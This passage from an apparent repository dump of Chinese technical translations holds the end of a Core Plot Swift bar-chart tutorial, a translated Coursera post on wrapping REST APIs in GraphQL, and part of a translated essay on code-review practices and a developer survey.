}\n\n    func configureGraph() {\n    }\n\n    func configureChart() {\n    }\n\n    func configureAxes() {\n    }\n\n\n\n是不是看上去很眼熟？是的，这些和之前的结构完全一样。\n\n下面这行添加到 `configureHostView()` 里：\n\n\n\n    hostView.allowPinchScaling = false\n\n\n\n因为你不需要捏合缩放，所以你应该再次把它禁用。\n\n接着，把下面那么多行代码添加到 `configureGraph()` 里：\n\n\n\n    // 1 - Create the graph\n    let graph = CPTXYGraph(frame: hostView.bounds)\n    graph.plotAreaFrame?.masksToBorder = false\n    hostView.hostedGraph = graph\n\n    // 2 - Configure the graph\n    graph.applyTheme(CPTTheme(named: kCPTPlainWhiteTheme))\n    graph.fill = CPTFill(color: CPTColor.clearColor())\n    graph.paddingBottom = 30.0\n    graph.paddingLeft = 30.0\n    graph.paddingTop = 0.0\n    graph.paddingRight = 0.0\n\n    // 3 - Set up styles\n    let titleStyle = CPTMutableTextStyle()\n    titleStyle.color = CPTColor.blackColor()\n    titleStyle.fontName = \"HelveticaNeue-Bold\"\n    titleStyle.fontSize = 16.0\n    titleStyle.textAlignment = .Center\n    graph.titleTextStyle = titleStyle\n\n    let title = \"\\(base.name) exchange rates\\n\\(rates.first!.date) - \\(rates.last!.date)\"\n    graph.title = title\n    graph.titlePlotAreaFrameAnchor = .Top\n    graph.titleDisplacement = CGPointMake(0.0, -16.0)\n\n    // 4 - Set up plot space\n    let xMin = 0.0\n    let xMax = Double(rates.count)\n    let yMin = 0.0\n    let yMax = 1.4 * highestRateValue()\n    guard let plotSpace = graph.defaultPlotSpace as? CPTXYPlotSpace else { return }\n    plotSpace.xRange = CPTPlotRange(locationDecimal: CPTDecimalFromDouble(xMin), lengthDecimal: CPTDecimalFromDouble(xMax - xMin))\n    plotSpace.yRange = CPTPlotRange(locationDecimal: CPTDecimalFromDouble(yMin), lengthDecimal: CPTDecimalFromDouble(yMax - yMin))\n\n\n\n下面是这段代码逻辑的拆解：\n\n1.  首先，实例化一个 `CPTXYGraph`，实际上就是一个柱状图，并将它关联到 `hostView`。\n2.  然后声明一个 _简约的白色_ 默认主题并为了展示 XY 轴去设置左侧和下方的内边距。\n3.  接着设置文本样式，图表标题以及标题位置。\n4.  最后，配置 `CPTXYPlotSpace`，它负责将设备的坐标系映射到图表的坐标系。针对这个图表，你正在绘制三个使用了相同坐标系的汇率。然而，也有可能每个条形图的坐标系都是 _分离_ 的。你还要在坐标系中假定一个最大最小值汇率范围。在后面的教程中，你将学习到怎么样在不提前设定范围的情况下自动调节空间大小。\n\n既然已经创建好图表了，那是时候增加一些绘制方法进去了！把下面的代码添加到 `configureChart()`里：\n\n\n\n    // 1 - Set up the three plots\n    plot1 = CPTBarPlot()\n    plot1.fill = CPTFill(color: CPTColor(componentRed:0.92, green:0.28, blue:0.25, alpha:1.00))\n    plot2 = CPTBarPlot()\n    plot2.fill = CPTFill(color: CPTColor(componentRed:0.06, green:0.80, blue:0.48, alpha:1.00))\n    plot3 = CPTBarPlot()\n    plot3.fill = CPTFill(color: CPTColor(componentRed:0.22, green:0.33, blue:0.49, alpha:1.00))\n\n    // 2 - Set up line style\n    let barLineStyle = CPTMutableLineStyle()\n    barLineStyle.lineColor = CPTColor.lightGrayColor()\n    barLineStyle.lineWidth = 0.5\n\n    // 3 - Add plots to graph\n    guard let graph = hostView.hostedGraph else { return }\n    var barX = BarInitialX\n    let plots = [plot1, plot2, plot3]\n    for plot: CPTBarPlot in plots {\n      plot.dataSource = self\n      plot.delegate = self\n      plot.barWidth = BarWidth\n      plot.barOffset = barX\n      plot.lineStyle = barLineStyle\n      graph.addPlot(plot, toPlotSpace: graph.defaultPlotSpace)\n      barX += BarWidth\n    }\n\n\n\n接着来看看上面的代码干了什么：\n\n1.  实例化每个条形图并设置它们的填充色。\n2.  实例化一个代表每个条形图的外部边框的 `CPTMutableLineStyle` 实例。\n3.  给每个条形图提供“共同配置”。该配置包括设置数据源和代理，宽度和每个条形图在坐标系中的相对位置（左右）以及线条样式，最后，添加这个坐标系到图表当中。\n\n虽然还不可以看到柱状图展示出来，但通过构建 app 可以去验证目前为止是否所有代码都可以正确编译通过。\n\n为了确切看到柱状图展示数据出来，需要去实现提供图表所需数据的代理方法。\n\n用下面这行替换掉 `numberOfRecordsForPlot(:_)`：\n\n\n\n    return UInt(rates.count ?? 0)\n\n\n\n该方法返回了应该展示的记录的总数。\n\n下面这段替换掉 `numberForPlot(_:field:recordIndex:)`：\n\n\n\n    if fieldEnum == UInt(CPTBarPlotField.BarTip.rawValue) {\n      if plot == plot1 {\n        return 1.0\n      }\n      if plot == plot2 {\n        return rates[Int(idx)].rates[symbols[0].name]!.floatValue\n      }\n      if plot == plot3 {\n        return rates[Int(idx)].rates[symbols[1].name]!.floatValue\n      }\n    }\n    return idx\n\n\n\n`CPTBarPlotField.BarTip` 的值表明了柱状图的相对大小。在你需要取回数据的时候可以使用保留属性计算出汇率，`recordIndex` 对应了利息率的位置。\n\n构建并运行，你应该可以看到和下面这张图一样的情况：\n\n![Core Plot Tutorial](http://ac-Myg6wSTV.clouddn.com/4b5878afc9ec6c9b4427.png)\n\n已经快完成了！但请注意还没有任何东西指明每个坐标轴是代表什么意思。\n\n要解决这个问题，把下面这段添加进 `configureAxes()`：\n\n\n\n    // 1 - Configure styles\n    let axisLineStyle = CPTMutableLineStyle()\n    axisLineStyle.lineWidth = 2.0\n    axisLineStyle.lineColor = CPTColor.blackColor()\n\n    // 2 - Get the graph's axis set\n    guard let axisSet = hostView.hostedGraph?.axisSet as? CPTXYAxisSet else { return }\n\n    // 3 - Configure the x-axis\n    if let xAxis = axisSet.xAxis {\n      xAxis.labelingPolicy = .None\n      xAxis.majorIntervalLength = 1\n      xAxis.axisLineStyle = axisLineStyle\n      var majorTickLocations = Set<nsnumber>()\n      var axisLabels = Set<cptaxislabel>()\n      for (idx, rate) in rates.enumerate() {\n        majorTickLocations.insert(idx)\n        let label = CPTAxisLabel(text: \"\\(rate.date)\", textStyle: CPTTextStyle())\n        label.tickLocation = idx\n        label.offset = 5.0\n        label.alignment = .Left\n        axisLabels.insert(label)\n      }\n      xAxis.majorTickLocations = majorTickLocations\n      xAxis.axisLabels = axisLabels\n    }\n\n    // 4 - Configure the y-axis\n    if let yAxis = axisSet.yAxis {\n      yAxis.labelingPolicy = .FixedInterval\n      yAxis.labelOffset = -10.0\n      yAxis.minorTicksPerInterval = 3\n      yAxis.majorTickLength = 30\n      let majorTickLineStyle = CPTMutableLineStyle()\n      majorTickLineStyle.lineColor = CPTColor.blackColor().colorWithAlphaComponent(0.1)\n      yAxis.majorTickLineStyle = majorTickLineStyle\n      yAxis.minorTickLength = 20\n      let minorTickLineStyle = CPTMutableLineStyle()\n      minorTickLineStyle.lineColor = CPTColor.blackColor().colorWithAlphaComponent(0.05)\n      yAxis.minorTickLineStyle = minorTickLineStyle\n      yAxis.axisLineStyle = axisLineStyle\n    }</cptaxislabel></nsnumber>\n\n\n\n简单地说，上面的代码首先为轴线和标题定义了样式，然后，为图表添加坐标轴的设置并配置好 x 轴和 y 轴的一些属性。\n\n构建并运行就可以看到这些改动的结果了。\n\n![Core Plot Tutorial](https://cdn2.raywenderlich.com/wp-content/uploads/2016/04/swiftrates-09.png)\n\n### 功能化坐标轴\n\n更棒了对吧？唯一的缺陷在于这个坐标轴太简单了，没办法从这儿得到一个准确的汇率展示。\n\n你可以修复这个问题以便当用户点按在一个单独的柱状图时，这个 app 可以展示这个图表示的汇率。为了实现它，需要增加一个新的属性：\n\n\n\n    var priceAnnotation: CPTPlotSpaceAnnotation?\n\n\n\n然后把下面的代码添加到 `barPlot(_:barWasSelectedAtRecordIndex:)`：\n\n\n\n    // 1 - Is the plot hidden?\n    if plot.hidden == true {\n      return\n    }\n    // 2 - Create style, if necessary\n    let style = CPTMutableTextStyle()\n    style.fontSize = 12.0\n    style.fontName = \"HelveticaNeue-Bold\"\n\n    // 3 - Create annotation\n    guard let price = numberForPlot(plot,\n                                    field: UInt(CPTBarPlotField.BarTip.rawValue),\n                                    recordIndex: idx) as? CGFloat else { return }\n\n    priceAnnotation?.annotationHostLayer?.removeAnnotation(priceAnnotation)\n    priceAnnotation = CPTPlotSpaceAnnotation(plotSpace: plot.plotSpace!, anchorPlotPoint: [0,0])\n\n    // 4 - Create number formatter\n    let formatter = NSNumberFormatter()\n    formatter.maximumFractionDigits = 2\n    // 5 - Create text layer for annotation\n    let priceValue = formatter.stringFromNumber(price)!\n    let textLayer = CPTTextLayer(text: priceValue, style: style)\n\n    priceAnnotation!.contentLayer = textLayer\n    // 6 - Get plot index\n    var plotIndex: Int = 0\n    if plot == plot1 {\n      plotIndex = 0\n    }\n    else if plot == plot2 {\n      plotIndex = 1\n    }\n    else if plot == plot3 {\n      plotIndex = 2\n    }\n    // 7 - Get the anchor point for annotation\n    let x = CGFloat(idx) + CGFloat(BarInitialX) + (CGFloat(plotIndex) * CGFloat(BarWidth))\n    let y = CGFloat(price) + 0.05\n    priceAnnotation!.anchorPlotPoint = [x, y]\n    // 8 - Add the annotation\n    guard let plotArea = plot.graph?.plotAreaFrame?.plotArea else { return }\n    plotArea.addAnnotation(priceAnnotation)\n\n\n\n这里需要一些解释：\n\n1.  不要给一个隐藏的柱状图展示注解，而当图没有设置隐藏属性的时候，在把切换开关整合到图表之后，你就将实现它了。\n2.  这里还要为你的注解创建一个文本样式。\n3.  得到指定柱状图的汇率，然后如果它不存在一个注解对象，就创建一个。\n4.  如果没有数值格式化的方法还需要创建一个，因为在汇率展示的时候需要先格式化它。\n5.  创建一个使用这个格式化汇率的文本层，并将注解的内容层设置到这个新的文本层上。\n6.  获取你将展示的注解需要放置的柱状图索引。\n7.  基于这个索引计算注解的位置，并给使用这个计算位置注解设置 `anchorPlotPoint` 的值。\n8.  最后，将注解添加到图表上。\n\n构建并运行。每次当你点按图表中的一个柱体时，该柱体所表示的值就应该正好在其上方弹出来。\n\n棒极了! :]\n\n![Core Plot Tutorial](https://cdn3.raywenderlich.com/wp-content/uploads/2016/04/swiftrates-10.png)\n\n### 隐藏和查找\n\n这个柱状图看起来很棒，但屏幕最上方的切换开关并没有起什么作用，是时候改动它们了。\n\n首先，需要添加一个帮助方法，把下面这段添加到 `switch3Changed(_:)` 之后：\n\n\n\n    func hideAnnotation(graph: CPTGraph) {\n      guard let plotArea = graph.plotAreaFrame?.plotArea,\n        priceAnnotation = priceAnnotation else {\n          return\n      }\n\n      plotArea.removeAnnotation(priceAnnotation)\n      self.priceAnnotation = nil\n    }\n\n\n\n这段代码首先简单地移除了一个如果存在的注解。\n\n下一步，你希望用户通过切换开关展示一个给定的货币汇率柱状图。\n\n要做到这个功能，用下面这段替换到 `switch1Changed(_:)`，`switch2Changed(_:)` 和 `switch3Changed(_:)` 的实现。\n\n\n\n    @IBAction func switch1Changed(sender: UISwitch) {\n      let on = sender.on\n      if !on {\n        hideAnnotation(plot1.graph!)\n      }\n      plot1.hidden = !on\n    }\n\n    @IBAction func switch2Changed(sender: UISwitch) {\n      let on = sender.on\n      if !on {\n        hideAnnotation(plot2.graph!)\n      }\n      plot2.hidden = !on\n    }\n\n    @IBAction func switch3Changed(sender: UISwitch) {\n      let on = sender.on\n      if !on {\n        hideAnnotation(plot3.graph!)\n      }\n      plot3.hidden = !on\n    }\n\n\n\n这个逻辑相当简单。如果开关设置了关闭，相关的图和其可见的注解就将被隐藏，而如果设置为开启，则图就会被设置为可见。\n\n构建并运行。现在你可以在图表中随意切换每个柱状图的展示了。教程至此已经完成了很不错的工作！\n\n![](http://ww4.sinaimg.cn/large/a490147fjw1f5tbq390v7g20fj08sgpr.gif)\n\n## 接下来干点啥？\n\n你可以从[这里](https://cdn1.raywenderlich.com/wp-content/uploads/2016/05/SwiftRates_Final-1.zip)下载一个已完成的项目。\n\n哇哦，相当有趣！这个教程重点介绍了 Core Plot 的强大功能并希望提示了你该怎么在你自己的 apps 里使用它。\n\n当然还可以参考 [Core Plot](https://github.com/core-plot/core-plot) 仓库获取更多的信息，包括文档，例子和一些小贴士。\n\n还有，如果你对这个教程有任何的问题或者评论，欢迎加入下面的论坛进行讨论。\n\n祝你有个快乐的绘图过程！\n"
  },
  {
    "path": "TODO/courseras-journey-to-graphql.md",
    "content": "\n> * 原文地址：[Coursera’s journey to GraphQL](https://dev-blog.apollodata.com/courseras-journey-to-graphql-a5ad3b77f39a)\n> * 原文作者：[Bryan Kane](https://dev-blog.apollodata.com/@bryankane)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/courseras-journey-to-graphql.md](https://github.com/xitu/gold-miner/blob/master/TODO/courseras-journey-to-graphql.md)\n> * 译者：[bambooom](https://github.com/bambooom)\n> * 校对者：[sunui](https://github.com/sunui)、[alfred-zhong](https://github.com/alfred-zhong)\n\n# Coursera 的 GraphQL 之路\n\n将 GraphQL 添加至 REST + 微服务的后端中\n\nCoursera 的客户端开发人员喜欢 GraphQL 的灵活性、类型安全性以及社区的支持，这些已经[众](https://building.coursera.org/blog/2016/11/23/why-ui-developers-love-graphql/)[所](https://speakerdeck.com/jnwng/going-graphql-first)[周](https://dev-blog.apollodata.com/graphql-just-got-a-whole-lot-prettier-7701d4675f42)[知](https://building.coursera.org/blog/2017/05/11/coursera-engineering-podcast-episode-one/)。但是，我们没有谈过多少我们的后端开发者们对于 GraphQL 的感受，这是因为实际上他们大多数并不需要为 GraphQL 考虑太多。\n\n过去的一年中，我们构建了将所有 REST API 动态转换为 GraphQL 的工具。这使得后端开发者可以继续编写他们熟悉的 API，同时客户端开发者也可以通过 GraphQL 访问所有数据。\n\n![](https://cdn-images-1.medium.com/max/1600/1*tUKO-HN2ogKRwmOc-kI-kQ.png)\n\n本文中将介绍我们的 GraphQL 之旅，特别是过程中的成功及失败。\n\n## 初步调查\n\nCoursera 的 REST API 是基于资源构建的（即课程 API、教师 API、课程成绩 API 等）。这样使得开发和测试都很容易，并且在后端很好地实现了关注分离。然而，随着产品规模扩大以及 API 数量增长，我们开始面临性能、文档以及易用性等问题。在许多页面上，我们发现需要四到五次与服务器的往返来获取所有我们需要渲染的数据。\n\n还记得 Facebook 首次推出 GraphQL 时我们团队非常兴奋，因为我们几乎立刻就意识到 GraphQL 可以解决我们的诸多问题，例如在一次往返获取所有数据，并为 API 提供结构化的文档等。虽然我们想马上停止使用 REST 并开始编写 GraphQL，但事情并非如此简单，因为：\n\n- 当时，Coursera 有超过 1000 个不同的 REST 端点（现在更多），即使我们想完全停止使用 REST，GraphQL 的迁移成本将是极大的。\n\n- 我们所有的后端服务都使用 REST API 进行服务间通信，所以经常会有给后端服务以及前端提供相同 API 的情况。\n\n- 我们有三个不同的客户端（web、iOS 以及 Android），希望能灵活缓慢地推进。\n\n在一些调查之后，我们发现了一个引入 GraphQL 的好方法，那就是在 REST API 上添加 GraphQL 的代理层。这个方法实际上也很常见，并且[有](https://medium.com/@raxwunter/moving-existing-api-from-rest-to-graphql-205bab22c184)[详细的](https://nordicapis.com/how-to-wrap-a-rest-api-in-graphql/)[文档](https://0x2a.sh/from-rest-to-graphql-b4e95e94c26b)[验证](http://graphql.org/blog/rest-api-graphql-wrapper/)过了，所以这里我就不深入展开了。\n\n## 生产环境上使用 GraphQL\n\n包装 REST API 是个非常简单的过程，我们针对下游 REST 调用通过解析器获取数据构建了一些实用程序，并写了一些将现有模型转为 GraphQL 的规则。\n\n第一步是构建 GraphQL 解析器，然后在生产环境中启动一个 GraphQL 服务器，使下游 REST 调用到源端点。一旦完成了这项工作（用 GraphQL 来验证一切），我们就会在设置的演示页面展示数据，几天之内就可以说 GraphQL 的尝试成功了。\n\n### 短暂的庆祝\n\n如果说我从这个项目中学到了一件事，那一定是不要高兴太早。\n\n我们的 GraphQL 服务器完美工作了几天，但是突然之间，在我们准备给团队演示之前，每个 GraphQL 查询都失败了。我们措手不及，因为自从上次验证它正常工作以来并没有对 GraphQL 服务器进行任何更改。\n\n在调查之后，终于发现由于一个不相关的 bug，下游课程目录服务回滚到了之前的版本，导致 GraphQL 中构建的模式不同步了。我们可以手动更新并修复演示页面，但很快我们意识到当我们的 GraphQL 架构如果扩展到由超过 50 个不同的服务支持的 1000 个不同的资源之后，想保持所有数据都更新到最新几乎是不可能的。如果在微服务体系中你有多于一个数据来源，那么问题在于何时，而不是他们是否不同步。\n\n### 自动化流程\n\n所以我们回到了白板上，试图找出一个清晰的解决方案获得真实数据源。将 REST API 视为真实数据源是有道理的，因为 GraphQL 是基于它们构建的。为此，我们需要自动地确定性地构建 GraphQL 层，以反映当前体系中正在运行的内容，而不是我们认为正在运行的。\n\n幸运的是（也许算有远见），我们的 [REST 框架](https://github.com/coursera/naptime)给我们提供了构建这个自动化层需要的一切：\n\n- 基础架构中的每一个服务都可以动态地提供正在运行的 REST 资源列表。\n\n- 针对每一个资源，我们可以内省获取其一系列端点和参数列表（即一个课程可以通过 id 获取，也可以由讲师查找）\n\n- 另外，我们接受由 [Courier 的模式语言](http://coursera.github.io/courier/schemalanguage/)定义的 [Pegasus Schemas](https://github.com/linkedin/rest.li/wiki/DATA-Data-Schema-and-Templates)，用于每个模型返回数据\n\n只要发现不同的部分，我们就需要构建一个 GraphQL 模式，在 GraphQL 服务器上设置一个任务，每五分钟对所有下游服务 ping 一次，请求所有信息。然后，我们就可以在 Pegasus 模式和 GraphQL 类型之间编写 1:1 的转化层了。\n\n接下来，我们只需要简单定义如何将 GraphQL 查询转化为 REST 请求，使用以前的解析器中的大部分逻辑，就可以生成功能完整的 GraphQL 服务器，不再会过期 5 分钟以上。\n\n### 关联资源\n\n我们希望使用 GraphQL 的一个主要原因是在一个往返中获取某个页面需要的所有数据。但是一开始我们的方法只能提供 REST API 以及 GraphQL 之间一对一的映射。没有将资源连接在一起，我们仍然会像使用 REST API 一样，使用多次 GraphQL 查询来获取数据。虽然通过 GraphQL 获取用户数据相比使用 REST 来说，开发者体验有所提升，但如果在获取更多数据之前必须等待前序查询返回的话，那么在性能上没有实质提升。\n\n我们的每个 REST API 都独立存活，他们不需要知道其他任何 API 的存在。但是，如果使用 GraphQL，模型和资源确实需要彼此的存在，以及如何连接。\n\n资源之间的连接是不能自动添加的，所以我们定义了一个简单的标记方法，使得开发者可以添加资源并指定资源之间的关系。例如，我们可以指定一个课程应该有讲师字段，代表教授这门课程的讲师。获取这些讲师的时候，需要使用 id 查询，此时就可以使用课程已经提供的 `instructorIds` 字段。我们称之为「前置关系」，因为我们通过 id 确切知道哪些讲师需要获取。\n\n在想要从一个资源到另一个资源但没有显式关联的情况下，我们添加了反向查询的支持，也就是获取一个用户在一个课程的注册情况。我们可以在 `userEnrollments`.v1 资源上通过 `byCourseId` 进行查询，就可以返回在指定的课程中指定用户的注册数据。\n\n我们开发的语法看起来像这样：\n\n```js\ncourseAPI.addRelation(\n  \"instructors\" -> ReverseRelation(\n    resourceName = \"instructors.v1\",\n    finderName = \"byCourseId\",\n    arguments = Map(\"courseId\" -> \"$id\", \"version\" -> \"$version\"))\n```\n\n一旦这些关联到位，我们的 GraphQL 模式就开始汇集在一起了，不再是小量数据碎片，而是整个 Coursera 数据和资源的网络。\n\n## 结论\n\n我们已经在生产环境中运行 GraphQL 服务器 6 个月了，这条路有时是颠簸的，但我们切实认识到 GraphQL 带来的好处。开发人员更容易发现数据及编写查询，我们的产品也由于 GraphQL 额外提供的[类型安全性](https://github.com/apollographql/apollo-codegen)更加可靠，使用 GraphQL 获取数据的页面加载也更快。\n\n需要重点提出的是，这种迁移并不以开发效率为代价。我们的前端工程师的确需要学习如何使用 GraphQL，但我们并不需要重写后端 API 或运行复杂的迁移才能享受 GraphQL 带来的好处。当创建新的应用程序的时候，它就可供开发人员使用了。\n\n总的来说，我们对 GraphQL 为开发人员（最终为用户）提供的帮助非常满意，并对 GraphQL 生态的发展充满期待。\n\n### 致谢\n\n- [Brennan Saeta](https://twitter.com/bsaeta)，编写了 Naptime API库，并帮助 Naptime 编写了初始的 GraphQL 支持。\n- Oleg Ilyenko，编写的 [Sangria 库](http://sangria-graphql.org/) 为我们所有的 GraphQL 工作提供了支柱。如果你正在使用 GraphQL，并正在使用或计划使用 Scala，那么你一定要看看 Sangria。\n- Coursera 前端基础设施团队提供了帮助将 GraphQL 从测试项目转移至预备生产环境中。\n- Coursera 的整个工程团队的耐心以及帮助，我们一起在 GraphQL 层解决了无数 bug 和奇怪的现象。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/crafting-better-code-reviews.md",
    "content": "> * 原文地址：[Crafting Better Code Reviews](https://medium.com/@vaidehijoshi/crafting-better-code-reviews-1a5fc00a9312)\n> * 原文作者：本文已获原作者 [Vaidehi Joshi](https://medium.com/@vaidehijoshi) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[bobmayuze](https://github.com/bobmayuze)\n> * 校对者：[SareaYu](https://github.com/SareaYu)、[吃土小2叉](https://github.com/xunge0613)\n\n# 建立更好的代码审查制度 #\n\n### 来自 Rails 2017 开发者大会中的一段演讲 ###\n\n人与科技之间的交互部分总是那么忽明忽暗，难以捉摸。对于**开发科技产品**的人来说，更是如此。作为一个资深码农，我在代码审查的时候对于这一点的感触特别明显。\n\n大多数开发者们习惯于把他们的代码看成一种艺术品，就好比画家看待自己的画一样，我们的代码总是和我们密切相关。一直以来，我们都被教导说要做一个[利他](https://blog.codinghorror.com/the-ten-commandments-of-egoless-programming/)的码农，在代码合并到主分支之前，我们不仅要审查自己的代码，也要审查同事的代码。其实我们都知道这样的审查是对大家都有利的,是一件[我们都应该做的事情](https://blog.codinghorror.com/code-reviews-just-do-it/)，而且很多人恰好已经在做这些强烈推荐的事了。\n\n但是谁还记得上一次我们衡量这些方法论是什么时候？我们真的能保证我们的代码审查制度是**有效**的吗？我们能够保证我们的代码审查制度不忘初心吗？\n\n如果答案是不，那我们如何才能解决这个问题呢？\n\n![](https://cdn-images-1.medium.com/max/800/1*INwRDJ_vspfJKkyFpv5jww.png)\n\n© geek & poke, [http://geek-and-poke.com](http://geek-and-poke.com)\n\n### 不要和代码审查**过不去** ###\n\n\n在我们能真正完全理解代码审查的实际意义和好处之后，我们就能知道为什么会有代码审查这个传统了。网上有大量的有关代码审查最佳实践的[研究](https://en.wikipedia.org/wiki/Code_review#References),不过我建议可以从 Steve McConnell 在[**代码大全**](https://www.amazon.com/Code-Complete-Practical-Handbook-Construction/dp/0735619670) 中的相关研究入手（该书于 1993年出版）。\n\n在他的书中，对于代码审查制度**应该**起到的作用，他写下了下面这些话：\n\n> 管理软件工程过程中的一部分就是抓住问题“最低价值”的阶段，即在已投入投资最少且花费最少去解决问题的时机。为了达到这样的一个预期，我们可以使用“质量门”这样一个理念，也就是周期性地测试或者审查来决定是否应该进行到开发的下一阶段。\n\nMcConnell 的代码审查研究中最重要的理念就是\"代码构建中的集体所有权\"。所有的代码都属于团队而不是某一人，并且团队中的所有成员都可以对其进行访问和修改。\n\n> 代码审查制度的初衷是帮助我们在软件开发中采用集体所有权的思想。换句话说，通过参与控制产品质量的方式，我们每个人都会成为开发过程中的股东。\n\nMcConnell 在他的书中提出了一些不同类型的代码审查流程，这些流程可以被任何一个团队采用在日常的工作流当中。强烈推荐 McConnell 的**代码大全**，真的非常赞。但是这边的话我们就简短的说3种来帮助理解。\n\n#### **1. 详查（正式检查）** ####\n\n详查是一个比较长的审查流程，耗时基本都在1小时左右。整个流程会包括一个公司的把关人（扛把子），代码作者（程序猿），和一个审查员（产品狗）。\n\n当这个审查制度被有效使用时，它通常能发现这个程序 **60%** 的问题（不管是程序缺陷还是错误）。根据McConnell的研究，相比于不怎么流程化的代码审查，这个制度平均每 1000 行代码能减少 20% 到 30% 的错误。\n\n#### **2. 走查** ####\n\n走查通常持续 30 到 60 分钟，对于高级程序员来说，通常是一个向新手们传授经验的机会，与此同时，对于新手们来说这也是一个机会，可以阐述新的方法论，挑战那些陈腐的、很可能已经过时的假设。\n\n走查有时候还是挺有用的，但是一般而言，走查远没有更加正式的代码复查有效。通常走查可以找到程序中 20% 到 40% 的错误。\n\n#### **3. 小型代码审查** ####\n\n就像这个名字一样，这种审查非常短。但是这都是很有深度的审查，还蛮难的。有时候可能就是更改了1行代码，但是会引起大量的问题。\n\nMcConnell的研究发现了下面这些有关于小型代码审查的事实：\n\n> 一个专门针对单行修改代码审查的机构发现在进行代码审查后代码报错率从 55% 下降到了 2%。一个在 80 年代晚期的通讯机构代码正确率在审查后从 80% 上升到了 99.6%。\n\nMcConnell 的一组组数据似乎在告诉我们，每一个开发团队都应该结合这三种代码审查方式。\n\n然而，McConnell 的书是在 1993 年写的。时至今日，我们的工作流程早就已经更新换代了，同行审查也随之更新。但是我们现在对于代码审查实行的方法足够合理完整吗？我们应该如何把**理论**上的东西运用到**实际**中去？\n\n为了解答这些问题，我做了大多数码农会做的事：Google 一下！\n\n[![Markdown](http://i4.buimg.com/1949/4bcc14c27f51262e.png)](https://twitter.com/vaidehijoshi)\n\n嗯，不错。上图是我在推特上发起的一个调查。\n\n\n### 程序猿们如何看待代码审查 ###\n\n\n在我对这个调查进一步阐述之前，我想先说点什么：**我不是一个数据科学家**（我希望我是，但是我也许在处理这篇文章反馈的时候能更加得心应手，或许我用 R 语言画图还过得去）。还有一点，就是说我的数据集其实是非常有限的。首先这个数据是我自己在推特上选过来的，另外数据是来自一个基于 branch/pull request 的团队的。\n\n好，那么重点来了：**程序猿们是到底如何看待代码审查的？**\n\n#### 量化的数据 ####\n\n让我们先来看看这组已经量化的数据。\n\n首先，这个问题的答案很大程度上取决于你问了**哪些**程序猿。在我写这个报告的时候，我已经收到超过 500 条回复了。\n\n下面是一些根据工作时用的语言分类的结果，包括了 JS、JAVA 还有 Ruby。\n\n\n![](https://cdn-images-1.medium.com/max/600/1*hiGuGx5OvayL4dPu1tSC4w.png)\n\n\n根据我一个个问完之后，大家都认为 **代码审查对于团队是有好处的**。\n\n总的来说，从 1 分（**非常不认可**）到 10 分（**非常认可**），Swift开发团队给代码审查认可度打了 9.5 分的高分。Ruby 开发团队第二，打出了 9.2 的高分。\n\n![](https://cdn-images-1.medium.com/max/800/1*1zSl-fd9hygIBzxp52yHOQ.jpeg)\n\n当70%的受调查者告诉我他们的 pull request 在被 merge 之前会由团队里的其他人来检查时，有10%的受访者（大概50个）告诉我的说他们的 pull request 只有在自己要求进行代码审查的时候才会进行代码审查。\n\n![](https://cdn-images-1.medium.com/max/800/1*fVl3H0KGsauN1Bxs_jsN7A.jpeg)\n\n这张图片通过不同语言阐明了代码审查的深度。总的来说，每个语言之间没有差很多。换句话来说，决定代码审查的深度和频率和你用什么语言没有关系，重点在于你在什么样的一个团队。\n\n![](https://cdn-images-1.medium.com/max/800/1*jFZ_2zCzHM78m_L_p0OK8A.jpeg)\n\n最后，对于那些当有要求进行代码审查才会进行审查的团队来说，大多数团队通常只需要 1 个人在代码合并到主分支之前审查这个代码。\n\n![](https://cdn-images-1.medium.com/max/800/1*KsuH1lurvkf5wpoXZ2queQ.png)\n\n#### 定性描述的数据 ####\n\n\n那么对于那些不可量化的东西来说，我们能知道什么呢？在多项选择题之外，这个调查同时也能够让受访者填写他们自己的答案。这一部分也是这个调查最重要的一部分，最能**说明问题**的一部分。\n\n这些回答具体聚焦在如下几个重点。\n\b\n\n> 总的来说，对于代码审查制度有很大关系的有两个因素：执行代码审查所需要消耗的资源和代码审查这一流程的可持续性。\n\n一个非常耗资源和可持续性很差的代码审查会让一个代码审查变得非常差劲。如果一个代码审查不是非常消耗资源，然后可持续性也很高的话，这会给审查者和受审查者双方都留下一个非常好的印象。\n\n但是我们这里说的资源，和可持续性到底指什么呢？\n\n#### 资源 ####\n\n另一种来找出一个代码审查**到底消耗了多少资源**的方法是问自己这样的问题：**谁在执行这个流程**以及他们花了多少时间来执行这个流程？\n\n大量的受访者们都是很有生产力的代码审查员，但是大家都表示对于团队里执行这个环节的人不爽，以及对于等待他们的代码被审查时花费的大量时间表示不爽。\n\n下面是一些匿名的反馈：\n\n> 我们有一个开发人员只是盲目的给每个PR一个赞然后都不怎么留评论。我可以告诉你这是真的因为他们 1 分钟能看 5 到 6 个 PR。\n\n> 我发现第二个或者第三个的审查者大多数都是在打酱油。\n\n> 有时候相同的代码审查的结果会根据不同的提交者而不同。\n\n> 团队里的每个人应该受到相同的对待。高级工程师也会犯错，而且他们也希望有人能提出来。初级工程师也不能被各种黑。人呐，总是会被事物有偏见。\n\n> Commits 太长了，导致 PR 需要很久去审查。人们不会先在本地去测试一下代码。\n\n> 长长的PR总是花费大量的时间，然后这个PR还对将来的特性有重要的影响。\n\n各位码农对于代码审查和消耗的消耗资源的关系评论归类之后主要有以下三点：\n\n1. 大家都对代码审查不爽，而且觉得没什么卵用。\n2. 审查一个你不熟悉的代码很不爽。\n3. 错误都处在人身上，我们都是人。我们应该平等的对待，不能因为谁是老大就说他/她写的代码没有问题。\n\n#### 可持续性 